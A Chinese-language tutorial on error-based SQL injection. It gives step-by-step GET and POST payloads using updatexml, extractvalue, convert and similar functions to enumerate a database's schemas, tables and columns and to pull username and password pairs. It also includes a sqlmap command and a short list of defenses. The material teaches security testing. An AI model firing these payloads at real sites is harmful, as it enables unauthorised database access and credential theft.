SQL注入:基于GET和POST的报错注入详解

SQL注入:基于GET和POST的报错注入详解

  • [一, 报错注入基本原理](#一, 报错注入基本原理)
  • 二、GET型报错注入
    • [1. 基本特征](#1. 基本特征)
    • [2. 攻击步骤](#2. 攻击步骤)
    • [3. 绕过技巧](#3. 绕过技巧)
  • [三, POST型报错注入](#三, POST型报错注入)
    • [1. 基本特征](#1. 基本特征)
    • [2. 攻击步骤](#2. 攻击步骤)
      • [(1) 发现注入点](#(1) 发现注入点)
      • [(2) 构造报错注入](#(2) 构造报错注入)
      • [(3) 获取数据](#(3) 获取数据)
    • [3. 工具辅助](#3. 工具辅助)
  • 四、不同数据库的报错注入方法
  • 五、防御措施

一, 报错注入基本原理

报错注入(Error-Based SQL Injection)是一种利用数据库错误信息来获取数据的SQL注入技术。当应用程序直接将数据库错误信息返回给用户时,攻击者可以构造特殊的SQL语句,使数据库执行时产生错误,并在错误信息中携带查询结果。

核心原理:

  1. 利用数据库函数故意制造错误;
  2. 通过错误信息回显获取数据
  3. 常用报错函数:
    MySQL: updatexml(), extractvalue(), floor()
    SQL Server: convert(), cast()
    Oracle: ctxsys.drithsx.sn()

二、GET型报错注入

1. 基本特征

2. 攻击步骤

(1)判断注入点

http://example.com/news.php?id=1'

观察是否返回数据库错误信息

(2)确定报错函数可用性

MySQL测试:

http://example.com/news.php?id=1 and updatexml(1,concat(0x7e,version()),1)--+

如果返回包含MySQL版本号的错误信息,说明报错注入可行

(3) 获取数据库信息

获取当前数据库:

http://example.com/news.php?id=1 and updatexml(1,concat(0x7e,database()),1)--+

获取所有数据库:

http://example.com/news.php?id=1 and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata)),1)--+

(4) 获取表名

http://example.com/news.php?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)--+

(5) 获取列名

http://example.com/news.php?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')),1)--+

(6) 获取数据

http://example.com/news.php?id=1 and updatexml(1,concat(0x7e,(select concat(username,':',password) from users limit 0,1)),1)--+

3. 绕过技巧

  • 使用mid(),substr()函数处理长数据
  • 使用floor(rand()*2)报错方式
  • URL编码特殊字符

三, POST型报错注入

1. 基本特征

  • 注入点位于表单提交的数据中
  • 需要通过修改post请求进行注入
  • 典型示例:登录表单,搜索框等

2. 攻击步骤

(1) 发现注入点

提交单引号测试:

username=admin'&password=123

观察是否返回数据库错误

(2) 构造报错注入

使用Burp Suite拦截请求,修改POST数据:

username=admin' and updatexml(1,concat(0x7e,version()),1)-- &password=123

(3) 获取数据

获取表名:

username=admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)-- &password=123

3. 工具辅助

  • 使用Burp Suite的Repeater模块修改请求、
  • 使用sqlmap自动化测试
    sqlmap -u "http://example.com/login.php" --data="username=admin&password=123" --technique=E --dbs

四、不同数据库的报错注入方法

  1. MySQL
sql 复制代码
and updatexml(1,concat(0x7e,(select user())),1)
and extractvalue(1,concat(0x7e,(select user())))
and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)

2 .SQL Server

sql 复制代码
and 1=convert(int,@@version)
and 1=cast((select @@version) as int)

3 .Oracle

sql 复制代码
and 1=ctxsys.drithsx.sn(1,(select banner from v$version where rownum=1))

五、防御措施

  1. 使用参数化查询(Prepared Statements)

  2. 对输入进行严格的过滤和转义

  3. 关闭错误信息回显

  4. 使用WAF防护

  5. 最小权限原则,限制数据库用户权限

相关推荐
我有医保我先冲3 小时前
SQL复杂查询与性能优化:医药行业ERP系统实战指南
数据库·sql·性能优化
阳光_你好4 小时前
详细说明Qt 中共享内存方法: QSharedMemory 对象
开发语言·数据库·qt
喝醉酒的小白5 小时前
MySQL响应慢是否由堵塞或死锁引起?
数据库
Pasregret5 小时前
04-深入解析 Spring 事务管理原理及源码
java·数据库·后端·spring·oracle
jnrjian5 小时前
归档重做日志archived log (明显) 比redo log重做日志文件小
数据库·oracle
TDengine (老段)5 小时前
TDengine 中的命名与边界
大数据·数据库·物联网·oracle·时序数据库·tdengine·iotdb
谁家有个大人6 小时前
MYSQL中对行与列的操作
数据库·mysql
0000ysl6 小时前
数据库基础-函数&约束
数据库
JavaPub-rodert7 小时前
Etcd用的是Raft算法
数据库·github·etcd·raft
编程乐趣7 小时前
FlexLabs.Upsert:EF Core插件推荐,支持多数据库的Upsert功能
数据库